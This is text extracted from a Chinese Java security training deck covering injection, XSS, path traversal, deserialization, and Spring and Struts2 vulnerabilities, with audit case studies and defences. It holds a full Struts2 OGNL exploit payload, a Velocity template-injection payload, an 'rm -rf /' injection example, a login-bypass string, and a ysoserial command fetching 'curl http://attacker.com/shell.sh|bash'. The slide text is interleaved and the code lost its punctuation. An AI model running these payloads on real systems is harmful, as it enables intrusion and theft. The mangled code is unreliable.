java安全技术课件

安全技术课件全面防护之Java道课程内容导航010203安全基础与威胁概述常见安全漏洞详解主流框架安全风险与防护Java Java理解安全模型、沙箱机制及当前面临的主深入剖析注入、、反序列化等高危漏分析、等框架的安全缺陷及加Java SQLXSS SpringStruts2要威胁类型洞的原理与危害固方法04代码审计实战案例安全编码最佳实践与防御策略Java通过真实案例学习漏洞挖掘与代码审计技巧第一章安全基础与威胁概述Java了解安全的基础知识是构建安全应用的第一步本章将为您介绍安全模型Java Java的核心机制，以及当前企业级应用面临的主要安全威胁网络安全的战争前线全球网络安全形势严峻根据最新统计数据显示全球范围内因网络攻击造成的经济损失已超过,数千亿美元且这一数字仍在逐年攀升企业数据泄露、勒索软件攻,击、供应链安全事件频发给各行业带来了巨大的经济和声誉损失,作为最广泛使用的企业级开发语言之一应用的安全风险尤为关,Java键从银行金融系统到电商平台从政府信息系统到医疗健康应,用无处不在一旦出现安全漏洞影响范围将难以估量,Java,每一位程序员都是安全防线的守护者安全意识和编码习惯直接决定了,系统的安全水平安全模型简介Java沙箱机制类加载器与字节码验证安全管理器与访问控制Java通过限制代码的执行权限防止恶意代码对类加载器采用双亲委派模型确保核心类库提供细粒度的权限控制,,SecurityManager系统资源的非法访问沙箱为不可信代码不被篡改字节码验证器在类加载时对字机制通过策略文件定义不同代码源的访问,提供了隔离的运行环境即使代码存在恶意节码进行严格检查保障代码的完整性和合权限访问控制策略确保代码只能执行被,,行为也无法突破安全边界法性防止恶意字节码注入授权的操作有效防范权限提升攻击,,安全威胁类型Java现代应用面临着多种多样的安全威胁这些威胁可能来自外部攻击者也可能源于内部的安全缺陷了解这些威胁类型是构建安全防护体系的Java,,基础代码注入攻击跨站脚本攻击反序列化漏洞XSS注入通过恶意构造语句绕过应在网页中注入恶意脚本代码窃取用户会通过构造恶意序列化数据在反序列化过SQL:SQL,,,用层验证直接操作数据库话信息、数据或进行钓鱼攻击危程中触发代码执行是应用中最危险Cookie,,Java害用户账户安全的漏洞类型之一命令执行利用系统命令执行接口在服务:,器上运行任意系统命令文件操作漏洞认证与授权缺陷任意文件上传上传恶意文件如弱密码策略、会话管理不当、权限校验:获取服务器控制权缺失等问题导致未授权访问和权限提升WebShell,攻击路径穿越通过特殊路径访问系统敏感文:件一行代码千亿损失代码漏洞不仅是技术问题更是关乎企业生存的重大风险历史上无数因安全漏洞导,致的数据泄露事件给我们敲响了警钟安全防护必须从每一行代码做起,第二章常见安全漏洞详解Java深入理解常见漏洞的成因、利用方式和危害程度是构建有效防护体系的关键本章,将详细剖析应用中最常见且危害最大的安全漏洞Java注入漏洞SQL漏洞原理危险代码示例注入是通过在应用程序的输入字段中插入恶意代码利SQL SQL,String sql=SELECT*FROM usersWHERE username=+用字符串拼接方式构造语句的缺陷使攻击者能够绕过应用SQL,username+AND password=+password+;Statement层的安全控制直接与数据库交互执行未授权的数据库操作,,stmt=conn.createStatement;ResultSet rs=stmt.executeQuerysql;真实案例警示安全防护措施年某大型电商平台注入事件2018SQL使用预编译语句参数化查询从根本上杜绝注入PreparedStatement:SQL攻击者通过用户登录接口的注入漏洞成功获取SQL,了超过万条用户敏感数据包括姓名、手机号、100,地址等信息该事件导致企业面临巨额罚款和严重的输入验证与过滤:严格校验用户输入,过滤特殊字符品牌信誉损失最小权限原则数据库账户仅授予必要的操作权限:使用框架、等框架提供的参数绑定机制ORM:MyBatis Hibernate任意文件上传漏洞漏洞成因应用程序对用户上传的文件缺少严格的类型校验、大小限制和内容检测,攻击者可以上传包含恶意代码的文件如JSP、WAR等攻击过程攻击者上传WebShell或恶意脚本文件到服务器可访问目录,然后通过浏览器访问该文件,实现远程代码执行,完全控制服务器真实案例2019年某知名内容管理系统被曝存在文件上传漏洞,黑客通过上传恶意JSP文件获取了服务器权限,植入挖矿木马,导致大量网站受到影响综合防护策略文件类型校验存储安全隔离其他防护措施•白名单机制验证扩展名•上传文件存储在非Web目录•限制文件大小防止DoS•检查文件MIME类型•重命名文件避免直接访问•使用专业的文件扫描引擎•验证文件魔数文件头•设置严格的文件访问权限•记录完整的上传日志跨站脚本攻击XSS反射型存储型XSS XSS恶意脚本通过URL参数传入,服务器未过滤直接返恶意脚本被永久存储在服务器数据库中,当其他用回给用户浏览器执行攻击者通过诱导用户点击恶户访问包含恶意内容的页面时,脚本在其浏览器中意链接实施攻击执行,危害更大示例场景:搜索功能将用户输入直接显示在结果页示例场景:论坛评论、用户留言板等互动功能面型DOM XSS攻击完全在客户端完成,通过修改DOM环境执行恶意脚本,服务器端无法检测到攻击行为示例场景:前端JavaScript处理URL参数时未进行转义攻击影响与防护主要危害防护措施会话劫持:窃取用户Cookie,冒充用户身份输入验证:严格过滤特殊字符如钓鱼攻击:伪造登录页面骗取账户密码输出编码:HTML实体编码、JavaScript编码页面篡改:修改页面内容传播恶意信息Content SecurityPolicy:限制页面资源加载来源恶意重定向:将用户引导至钓鱼网站HttpOnly Cookie:防止JavaScript读取敏感Cookie目录穿越漏洞漏洞原理解析目录穿越漏洞Path Traversal也称为路径遍历漏洞,攻击者通过在文件路径中使用特殊字符序列如../来访问应用程序根目录之外的文件和目录,从而读取或操作系统敏感文件危险代码示例String fileName=request.getParameterfile;File file=new File/app/files/+fileName;FileInputStream fis=new FileInputStreamfile;//攻击者输入:../../../../etc/passwd真实案例某CMS系统因文件下载功能存在目录穿越漏洞,攻击者通过构造特殊路径成功读取了服务器配置文件,获取了数据库连接密码,最终导致整个系统被攻破安全防护方案路径规范化:使用File.getCanonicalPath获取标准路径路径验证:确保最终路径在允许的目录范围内白名单机制:仅允许访问预定义的文件列表命令执行漏洞命令执行漏洞是Java应用中危害极大的安全问题,攻击者可以在服务器上执行任意系统命令,完全控制服务器这类漏洞通常源于对用户输入缺乏严格验证就直接用于系统命令的构造漏洞产生原因1开发者使用Runtime.exec或ProcessBuilder时,直接拼接用户可控的输入参数,未进行充分的验证和过滤,导致攻击者能够注入额外的系统命令2攻击利用方式攻击者通过分隔符如;、|、注入恶意命令,或通过命令替换符$、``执行嵌套命令,实现代码执行真实案例警示32020年某金融系统的文件转换功能存在命令执行漏洞,攻击者通过该漏洞植入后门程序,窃取了大量客户交易数据和个人信息危险代码模式安全编码实践避免动态拼接:使用数组方式传递命令参数String cmd=convert+userInput+严格输入验证:白名单校验,只允许预期的字符output.pdf;Runtime.getRuntime.execcmd;//用户输入:test.jpg;rm-rf///实际执行:convert test.jpg;rm-rf/output.pdf使用安全API:选择不执行shell的API接口最小权限运行:应用以受限用户身份运行反序列化漏洞Java反序列化漏洞是Java生态系统中最严重的安全威胁之一当应用程序反序列化不可信的数据时,攻击者可以通过精心构造的恶意对象触发任意代码执行,完全控制服务器123漏洞形成机制攻击利用链条高危漏洞CVEJava反序列化过程会自动调用对象的readObject方法,攻击者利用Apache CommonsCollections等库中存在CVE-2020-2551:WebLogic反序列化RCE如果该方法包含危险操作或可以触发其他类的方法调用,的gadget链,通过反射机制层层调用,最终执行CVE-2015-4852:WebLogic T3协议反序列化攻击者就能构造恶意对象实现代码执行Runtime.exec等危险方法CVE-2017-3248:Oracle多产品反序列化漏洞综合防护策略避免反序列化加固反序列化监控与响应•优先使用JSON等文本格式•实现白名单机制,限制允许反序列化的类•部署WAF规则检测反序列化攻击•避免接受不可信来源的序列化数据•使用安全的序列化库如Kryo•及时更新框架补丁漏洞链条步步致命单个漏洞的危害可能有限但攻击者往往通过组合多个漏洞形成攻击链从信息泄露到,,权限提升从代码执行到完全控制系统每一步都可能导致灾难性后果,,第三章主流框架安全风险与防护企业级开发高度依赖各类框架而框架本身也可能存在安全漏洞了解主流框架Java,的安全风险并采取针对性的加固措施是保障应用安全的重要环节,框架安全漏洞SpringSpring作为Java生态中最流行的企业级框架,其安全性直接影响着数以万计的应用系统近年来Spring及其生态组件暴露出多个高危漏洞,需要引起开发者的高度重视远程代码执行CVE-2018-1260:OAuth2Spring SecurityOAuth2存在SpEL表达式注入漏洞,攻击者可以通过精心构造的认证请求,利用SpEL表达式注入执行任意代码,获取服务器控制权该漏洞影响SpringSecurity OAuth

2.0至

2.

2.1版本远程代码执行CVE-2018-1273:Spring DataCommonsSpring DataCommons在处理用户输入时存在SpEL注入漏洞,攻击者通过HTTP请求参数注入恶意SpEL表达式,可实现远程命令执行影响Spring DataCommons

1.13至

1.

13.10和

2.0至

2.

0.5版本其他重要漏洞防护加固措施CVE-2022-22965Spring4Shell:类加载器注入导致RCE及时更新:第一时间升级到安全版本CVE-2022-22963:Spring CloudFunction SpEL注入禁用危险功能:关闭不必要的SpEL表达式解析CVE-2016-4977:Spring Security认证绕过输入验证:严格校验用户输入参数WAF防护:部署应用防火墙拦截攻击框架漏洞Struts2Apache Struts2是历史上漏洞最多、影响最广的Java框架之一其OGNL表达式注入问题导致了一系列严重的远程代码执行漏洞,造成了巨大的安全损失漏洞S2-045漏洞S2-046Jakarta文件上传解析异常导致的OGNL表达式注入,攻击者通过Content-Type头注入恶意表达与S2-045类似的上传解析漏洞,但利用方式略有不同,同样可导致远程代码执行式实现RCE漏洞漏洞S2-057S2-048当命名空间配置不当时,可通过URL注入OGNL表达式,导致远程代码执行Struts2Showcase应用ActionMessage存在OGNL注入,影响所有使用该组件的应用表达式注入原理OGNLStruts2使用OGNL作为默认的表达式语言,用于数据传输和类型转换当用户输入被当作OGNL表达式解析时,攻击者可以调用任意Java方法,包括Runtime.exec执行系统命令攻击示例防护策略立即升级:更新到最新安全版本

2.

5.33+%{#_=multipart/form-禁用动态方法调用:设置struts.enable.DynamicMethodInvocation=falsedata.#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS.#_memberAccess#_memberAccess=#dm:#container=#context[com.opensymphony.xwork

2.ActionContext.container].#ognlUtil=#container.getInstance@com.opensymphony.xwork

2.ognl.OgnlUt严格命名空间:不使用通配符,明确定义所有namespaceil@class.#ognlUtil.getExcludedPackageNames.clear.#ognlUtil.getExcludedClasses.clear.#context.setMember输入过滤:使用拦截器过滤危险字符Access#dm.#cmd=whoami.#iswin=@java.lang.System@getPropertyos.name.toLowerCase.containswin.#cm考虑迁移:评估迁移到Spring MVC等更安全的框架ds=#iswin{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd}.#p=newjava.lang.ProcessBuilder#cmds.#p.redirectErrorStreamtrue.#process=#p.start.#ros=@org.apache.struts

2.ServletActionContext@getResponse.getOutputStream.@org.apache.commons.io.IOUtils@copy#process.getInputStream,#ros.#ros.flush}常见框架安全加固策略无论使用何种框架,都应该遵循统一的安全加固原则以下是适用于大多数Java框架的通用安全实践输入验证与输出编码依赖库安全管理服务端验证优先:永远不要信任客户端验证,定期安全扫描:使用OWASP在服务器端对所有输入进行严格校验Dependency-Check、Snyk等工具扫描第三方依赖漏洞白名单机制:明确定义允许的输入格式和范及时更新补丁:建立依赖库更新机制,第一时围,拒绝一切不符合规范的输入间修复已知漏洞输出编码:根据输出上下文HTML、最小化依赖:只引入必需的库,减少攻击面JavaScript、SQL等选择适当的编码方式安全配置最佳实践禁用调试模式:生产环境关闭详细错误信息和调试功能最小权限原则:应用程序和数据库连接使用最小必需权限安全HTTP头:配置Content-Security-Policy、X-Frame-Options等安全响应头启用HTTPS:强制使用HTTPS加密传输,配置HSTS第四章代码审计实战案例Java理论知识需要通过实战演练才能真正掌握本章将通过真实的开源项目漏洞案例展示完整的代码审计流程和漏洞发现技巧,案例一系统注入审计:OFCMS SQL项目背景漏洞代码分析OFCMS是一个基于Java开发的开源内容管理系统,广泛应用于企业网站建设在安全审计中发现其存在严重的SQL注入public UserloginString username,String password{String sql=SELECT*FROM userWHERE username=漏洞+username+AND password=+password+;return jdbcTemplate.queryForObjectsql,new漏洞发现过程BeanPropertyRowMapperUser.class;}//攻击payload://username:admin OR1=1//password:anything//构造的SQL://SELECT*FROM userWHERE username=admin OR1=1//AND password=anything代码审查:审查数据库操作相关代码,重点关注用户输入处理部分定位注入点:在用户登录模块发现直接拼接SQL语句的代码构造Payload:测试SQL注入攻击向量,验证漏洞可利用性影响评估:确认可以绕过登录验证,获取管理员权限修复方案public UserloginString username,String password{String sql=SELECT*FROM userWHERE username=ANDpassword=;return jdbcTemplate.queryForObjectsql,new BeanPropertyRowMapperUser.class,username,password;}审计工具使用插件Burp SuiteIntelliJ IDEASQLMap拦截HTTP请求,测试SQL注入向量,分析服务器响应差异使用Find Security Bugs等插件进行静态代码分析,快速定位潜在漏洞自动化SQL注入检测工具,用于验证和利用SQL注入漏洞案例二任意文件上传漏洞:MCMSMCMSMingCheng CMS是另一个流行的Java开源内容管理系统,在其文件上传功能中发现了严重的安全缺陷,允许攻击者上传任意文件类型漏洞成因分析系统仅在前端进行文件类型校验,后端缺少验证机制攻击者可以通过抓包工具绕过前端限制,直接上传恶意文件到服务器攻击路径构建攻击者上传包含恶意代码的JSP文件,文件被保存在Web可访问目录下通过浏览器直接访问上传的JSP文件,触发代码执行,获取WebShell权限影响范围评估攻击者获取WebShell后可以执行系统命令、读取敏感文件、篡改网站内容、植入后门程序,甚至作为跳板攻击内网其他系统漏洞代码示例安全修复方案@PostMapping/uploadpublic ResultuploadMultipartFile file@PostMapping/uploadpublic ResultuploadMultipartFile file{//{String fileName=file.getOriginalFilename;String白名单验证String[]allowedExt={.jpg,.png,.pdf};StringuploadPath=/upload/+fileName;//缺少文件类型验证fileName=file.getOriginalFilename;ifFile dest=new FileuploadPath;file.transferTodest;!isAllowedExtensionfileName,allowedExt{return Result.errorreturn Result.successuploadPath;}不允许的文件类型;}//重命名文件,避免覆盖String newFileName=UUID.randomUUID+getExtensionfileName;//存储到非Web目录String uploadPath=/data/uploads/+newFileName;File dest=newFileuploadPath;file.transferTodest;returnResult.successnewFileName;}案例三模板注入漏洞:SSTI服务端模板注入Server-Side TemplateInjection是近年来越来越受关注的漏洞类型当应用程序将用户输入嵌入到模板引擎中时,攻击者可能通过注入模板语法执行任意代码模板引擎漏洞漏洞利用示例VelocityVelocity是Apache的一个开源模板引擎,广泛用于攻击者输入Java Web应用当Velocity模板中的变量来自用户:#set$x=$class.forNamejava.lang.Runtime输入且未经过滤时,攻击者可以注入Velocity语法执行$x.getRuntime.execcalcJava代码模板引擎会解析并执行这段代码,在服务器上启动计算器程序,证明可以执行任意系统命令其他受影响引擎FreeMarker:通过内置对象访问危险类Thymeleaf:SpEL表达式注入风险Jinja2:虽然是Python模板,但原理相似代码审计要点防护措施追踪数据流:识别所有用户输入如何流入模板禁用危险功能:配置模板引擎禁止执行任意代码检查模板变量:确认哪些变量可被用户控制输入严格过滤:过滤所有模板语法特殊字符评估上下文:分析模板引擎的安全配置使用沙箱:在受限环境中渲染模板测试边界:尝试注入各种模板语法测试过滤效果分离逻辑:避免在模板中直接使用用户输入案例四反序列化漏洞实战:Java漏洞场景与触发条件某电商平台使用Java序列化机制在分布式系统间传输会话数据应用接收来自Redis的序列化对象并进行反序列化操作,但未对数据来源进行验证,也未限制可反序列化的类攻击利用链构建攻击者分析系统依赖,发现存在Apache CommonsCollections库通过构造包含恶意gadget链的序列化数据,利用TransformedMap和InvokerTransformer组合,最终触发Runtime.exec执行系统命令完整攻击流程

1.攻击者获取Redis访问权限可能通过弱密码

2.使用ysoserial工具生成恶意序列化payload

3.将payload写入Redis中的会话数据

4.当应用反序列化该数据时触发代码执行

5.攻击者获取服务器控制权,植入持久化后门生成示例Payload//使用ysoserial生成恶意序列化数据java-jar ysoserial.jar CommonsCollections1curlhttp://attacker.com/shell.sh|bashpayload.ser//payload.ser包含精心构造的对象图//反序列化时会自动执行命令代码审计技巧1查找反序列化入口2分析数据来源3检查防护措施搜索ObjectInputStream、readObject、XMLDecoder等关键类和方法,定位所有反序列化追踪反序列化的数据来自何处,是否可能被攻击者控制,如网络传输、文件读取、缓存系统等确认是否实现了类白名单机制、是否使用了安全的序列化库、是否对输入进行了签名验证操作点防御方案短期应急中期加固长期策略细节决定安全成败代码审计不仅是技术工作更是耐心和细致的较量每一行代码都可能隐藏安全风险只有保持警惕、深入分析才能发现那些隐蔽的漏洞守护系统,,,,安全第五章安全编码最佳实践与防御策略预防胜于治疗通过遵循安全编码规范、使用专业工具、建立完善的安全保障机制,可以在源头上大幅降低安全风险构建真正安全可靠的应用,Java安全编码核心原则最小权限原则输入验证永远第一应用程序和用户账户应该只拥有完成工作所必需的最小权限数据库连接使用只读账户而永远不要信任任何来自外部的数据,包括用户输入、API调用、文件内容、数据库查询结果非管理员账户,应用进程以受限用户身份运行而非root权限这样即使系统被攻破,攻击者等对所有输入进行严格的类型检查、长度限制、格式验证和内容过滤使用白名单而非的破坏范围也会被限制黑名单进行验证,拒绝一切不符合预期的输入纵深防御策略不信任任何外部数据不要依赖单一的安全控制措施采用多层防护机制,即使某一层被突破,其他层次仍能提供安全编码的黄金法则:对所有外部数据保持怀疑态度这包括用户输入、第三方API返回保护例如同时在前端、后端、数据库层面实施输入验证,使用WAF、IDS等设备提供额外值、配置文件内容、环境变量等在使用前必须进行验证、清理和转义,确保数据安全可防护控安全失败原则保持简单原则当系统遇到异常或错误时,应该默认采取安全的失败模式例如权限验证失败时拒绝访问而复杂的系统更容易出现安全漏洞尽量保持代码简洁清晰,避免过度设计使用成熟的安全非允许,数据解密失败时返回错误而非使用默认值避免在错误处理中泄露敏感信息框架和库而非自己实现加密、认证等功能简单的系统更易于理解、测试和维护专业安全工具推荐善用工具可以大幅提升安全检测的效率和准确性以下是Java开发中常用的安全工具,涵盖静态分析、动态测试、依赖管理等各个方面代渗SonarQube-SpotBugs/FindB OWASPZAP-Burp Suite-码质量与安全平台静态分析工动态安全测试透测试平台ugs-具持续检测代码质量和安免费开源的Web应用安业界标准的Web应用安全漏洞,支持多种编程语通过字节码分析发现全扫描器,支持主动扫描全测试工具,提供拦截代言可以集成到CI/CD Java程序中的潜在bug和被动监听可以自动理、扫描器、爬虫等功流程中,自动发现SQL注和安全漏洞Find发现XSS、SQL注入、能专业版包含高级扫入、XSS、密码硬编码SecurityBugs插件专CSRF等漏洞,提供详细描引擎,可以发现复杂的等安全问题,并提供详细注于安全问题检测,能够的测试报告和修复建逻辑漏洞和业务安全问的修复建议发现命令注入、路径穿议题越等常见漏洞依赖漏洞自Snyk-Dependabot-扫描动依赖更新专注于开源依赖的安全GitHub内置的依赖管理漏洞检测,支持Java、工具,自动检测项目依赖Maven、Gradle等生中的安全漏洞,并创建态自动监控项目依赖,Pull Request更新到安及时发现已知漏洞,并提全版本支持多种包管供自动化的修复方案理器,简化依赖维护工作构建持续安全保障体系安全不是一次性工作,而是贯穿整个软件生命周期的持续过程建立完善的安全保障机制,将安全融入开发、测试、部署的每个环节0102安全意识培训代码审计制度定期组织安全培训,提升团队的安全意识和技能内容包括常见漏洞原理、安全编码建立定期的代码审计机制,重点审查权限控制、数据验证、加密实现等关键代码使规范、最新威胁情报等通过CTF竞赛、漏洞挖掘奖励等方式激发学习兴趣用静态分析工具辅助人工审计,确保不遗漏安全问题关键功能上线前必须通过安全审计0304渗透测试实践安全自动化集成定期进行渗透测试,模拟真实攻击场景验证系统安全性可以委托专业安全公司进将安全检测工具集成到CI/CD流程中,实现自动化安全测试代码提交时触发静态分行,也可以组建内部红队测试后及时修复发现的问题并进行复测验证析,构建时进行依赖扫描,部署前执行动态测试建立安全门禁,不通过安全检查的代码不允许上线0506应急响应机制持续监控优化建立安全事件应急响应流程,包括漏洞报告渠道、分级响应标准、修复时限要求等部署安全监控系统,实时监测异常行为和攻击尝试收集安全日志进行分析,发现潜组建应急响应团队,定期演练应急预案,确保在真实安全事件发生时能够快速响应在威胁建立安全指标体系,持续评估和优化安全防护效果立即行动筑牢安全防线,小时85%70%24—可预防的漏洞人为因素导致黄金响应时间关键要点回顾研究表明,85%的安全漏洞可以通过遵约70%的安全事件源于人为疏忽和安全安全漏洞从披露到被利用的平均时间仅循安全编码规范来预防意识不足24小时,快速响应至关重要Java安全是持续战斗:安全威胁不断演变,需要持续学习和改进工具赋能人工:善用自动化工具提升效率,但不能完全依赖工具每位开发者都是守护者:安全不仅是安全团队的责任,每个人都应该具备安全意识纵深防御策略:多层防护机制确保即使一层失效仍有保障持续学习成长:关注最新威胁情报,不断提升安全技能预防优于修复:在开发阶段就注重安全,成本远低于事后补救从现在开始从代码开始,安全不是口号,而是行动让我们从审视每一行代码开始,从遵循安全规范开始,从提升安全意识开始只有每个人都重视安全、践行安全,才能构建真正安全可靠的Java应用,保护用户数据,守护业务安全。